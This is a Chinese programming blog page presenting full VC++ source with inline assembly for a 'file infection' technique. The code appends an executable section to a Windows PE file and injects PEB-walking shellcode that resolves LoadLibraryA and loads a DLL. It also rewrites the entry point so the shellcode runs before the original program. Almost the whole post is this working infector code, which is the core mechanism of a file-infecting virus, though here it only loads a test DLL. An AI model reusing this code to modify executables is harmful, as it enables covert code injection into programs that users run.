zoukankan      html  css  js  c++  java
  • VC++实现感染文件式加载DLL文件

    源码分析如下

    #include "windows.h"    
    #include "stdio.h"    
    //判断文件是否为合法PE文件    
    BOOL CheckPe(FILE* pFile)   
    {          
        fseek(pFile,0,SEEK_SET);   
        BOOL    bFlags=FALSE;   
        WORD    IsMZ;   
        DWORD   IsPE,pNT;   
        fread(&IsMZ,sizeof(WORD),1,pFile);   
        if(IsMZ==0x5A4D)   
        {   
            fseek(pFile,0x3c,SEEK_SET);   
            fread(&pNT,sizeof(DWORD),1,pFile);   
            fseek(pFile,pNT,SEEK_SET);   
            fread(&IsPE,sizeof(DWORD),1,pFile);   
            if(IsPE==0X00004550)   
                bFlags=TRUE;   
            else   
                bFlags=FALSE;   
        }   
        else   
            bFlags=FALSE;   
        fseek(pFile,0,SEEK_SET);   
        return bFlags;   
    }   
       
    //用来计算对齐数据后的大小    
    int alig(int size,unsigned int align)   
    {   
        if(size%align!=0)   
            return (size/align+1)*align;   
        else    
            return size;   
    }   
       
       
    int main(int argc,char* argv[])   
    {   
        if(argc!=2)   
        {   
            printf("\t\tusage:add_section filename\n");   
            exit(-1);   
        }   
        FILE* rwFile;   
        if((rwFile=fopen(argv[1],"rb"))==NULL)//打开文件失败则退出    
        {   
            printf("\t\tOpen file faild\n");   
            exit(-1);   
        }   
       
        if(!CheckPe(rwFile))   
        {   
            printf("\t\tinvalid pe......!\n");   
            exit(-1);   
        }   
        //备份原文件    
        char szNewFile[10]="_New.exe";   
        if(!CopyFile(argv[1],szNewFile,0)) //若备份文件出错则退出    
        {   
            printf("\t\tbak faild\n");   
            exit(-1);   
        }   
        IMAGE_NT_HEADERS NThea;    
        fseek(rwFile,0x3c,0);   
        DWORD pNT; //pNT中存放IMAGE_NT_HEADERS结构的地址    
        fread(&pNT,sizeof(DWORD),1,rwFile);   
        fseek(rwFile,pNT,0);   
        fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); //读取原文件的IMAGE_NT_HEADERS结构    
        //保存原文件区块数量与OEP    
        int nOldSectionNo=NThea.FileHeader.NumberOfSections;   
        int OEP=NThea.OptionalHeader.AddressOfEntryPoint;   
        //保存文件对齐值与区块对齐值    
        int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;   
        int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   
       
        //定义要添加的区块    
        IMAGE_SECTION_HEADER    NewSection;   
        //将该结构全部清零    
        memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));   
        //再定义一个区块,来存放原文件最后一个区块的信息    
        IMAGE_SECTION_HEADER SEChea;    
        //读原文件最后一个区块的信息    
        fseek(rwFile,pNT+248,0);   
        for(int i=0;i<nOldSectionNo;i++)   
            fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);   
       
        FILE *newfile=fopen(szNewFile,"rb+");   
        if(newfile==NULL)   
        {   
            printf("\t\tOpen bak file faild\n");   
            exit(-1);   
        }   
        fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);   
        goto shellend;   
    __asm   
    {          
    shell:  PUSHAD   
            MOV EAX,DWORD PTR FS:[30H]  ;FS:[30H]指向PEB   
            MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针   
            MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针   
            MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针   
            MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址   
            MOV EBP,EAX     ;   将Kernel32.dll模块基址地址放至kernel中   
            MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS   
            MOV EAX,DWORD PTR [EBP+EAX+120] ;指向导出表   
            MOV ECX,[EBP+EAX+24]    ;取导出表中导出函数名字的数目   
            MOV EBX,[EBP+EAX+32]    ;取导出表中名字表的地址   
            ADD EBX,EBP   
            PUSH WORD  PTR 0X00         ;构造GetProcAddress字符串   
            PUSH DWORD PTR 0X73736572   
            PUSH DWORD PTR 0X64644163   
            PUSH DWORD PTR 0X6F725074   
            PUSH WORD PTR 0X6547   
            MOV  EDX,ESP   
            PUSH ECX   
       
               
    F1:    
            MOV EDI,EDX   
            POP ECX   
            DEC ECX   
            TEST    ECX,ECX   
            JZ  EXIT   
            MOV ESI,[EBX+ECX*4]        
            ADD ESI,EBP   
            PUSH    ECX   
            MOV ECX,15   
            REPZ    CMPSB   
            TEST    ECX,ECX   
            JNZ F1   
           
            POP ECX   
            MOV ESI,[EBP+EAX+36]    ;取得导出表中序号表的地址   
            ADD ESI,EBP   
            MOVZX   ESI,WORD PTR[ESI+ECX*2]     ;取得进入函数地址表的序号   
            MOV EDI,[EBP+EAX+28]    ;取得函数地址表的地址   
            ADD EDI,EBP   
            MOV EDI,[EDI+ESI*4]     ;取得GetProcAddress函数的地址   
            ADD EDI,EBP            
               
            PUSH WORD PTR 0X00          ;构造LoadLibraryA字符串   
            PUSH DWORD PTR 0X41797261   
            PUSH DWORD PTR 0X7262694C   
            PUSH DWORD PTR 0X64616F4C   
            PUSH ESP   
            PUSH    EBP   
            CALL    EDI         ;调用GetProcAddress取得LoadLibraryA函数的地址   
            PUSH    WORD PTR 0X00       ;构造test符串,测试新增节后的EXE是否能正常加载test.dll   
            PUSH    DWORD PTR 0X74736574   
            PUSH    ESP   
            CALL    EAX   
    EXIT:   ADD ESP,36          ;平衡堆栈   
            POPAD   
    }   
    shellend:   
            char *pShell;   
            int nShellLen;   
    __asm   
    {   
            LEA EAX,shell   
            MOV pShell,EAX;   
            LEA EBX,shellend   
            SUB EBX,EAX   
            MOV nShellLen,EBX   
    }   
           
        //写入SHELLCODE,    
        for(i=0;i<nShellLen;i++)   
            fputc(pShell[i],newfile);   
        //SHELLCODE之后是跳转到原OEP的指令    
        NewSection.VirtualAddress=SEChea.VirtualAddress+alig(SEChea.Misc.VirtualSize,SECTION_ALIG);   
        BYTE jmp = 0xE9;   
        OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;   
        fwrite(&jmp, sizeof(jmp), 1, newfile);   
        fwrite(&OEP, sizeof(OEP), 1, newfile);   
        //将最后增加的数据用0填充至按文件中对齐的大小    
        for(i=0;i<alig(nShellLen,FILE_ALIG)-nShellLen-5;i++)   
            fputc('\0',newfile);   
        //新区块中的数据    
        strcpy((char*)NewSection.Name,".llydd");   
        NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;   
        NewSection.Misc.VirtualSize=nShellLen;   
        NewSection.SizeOfRawData=alig(nShellLen,FILE_ALIG);   
        NewSection.Characteristics=0xE0000020;//新区块可读可写可执行    
        fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);   
       
        //写入新的块表    
        fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);   
       
        int nNewImageSize=NThea.OptionalHeader.SizeOfImage+alig(nShellLen,SECTION_ALIG);   
        int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+alig(nShellLen,FILE_ALIG);   
        fseek(newfile,pNT,0);   
        NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;   
        NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;   
        NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;   
        NThea.OptionalHeader.SizeOfImage=nNewImageSize;   
        NThea.FileHeader.NumberOfSections=nOldSectionNo+1;   
        NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;   
        //写入更新后的PE头结构    
        fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);   
        printf("\t\tok.........!\n");   
       
        fclose(newfile);   
        fclose(rwFile);   
       
        return 1;    
       
    }  
    


     

  • 相关阅读:
    2-1Java简介
    02-安装JDK
    任务34:Cookie-based认证实现
    任务31:课时介绍 & 任务32:Cookie-based认证介绍 &任务33:34课 :AccountController复制过来没有移除[Authorize]标签
    任务30:RoutingMiddleware介绍以及MVC引入
    任务29:自己动手构建RequestDelegate管道
    任务28:RequestDelegate管道实现思路
    任务27:Middleware管道介绍
    任务26:dotnet watch run 和attach到进程调试
    任务25:IHostEnvironment和 IApplicationLifetime介绍
  • 原文地址:https://www.cnblogs.com/new0801/p/6177721.html
Copyright © 2011-2022 走看看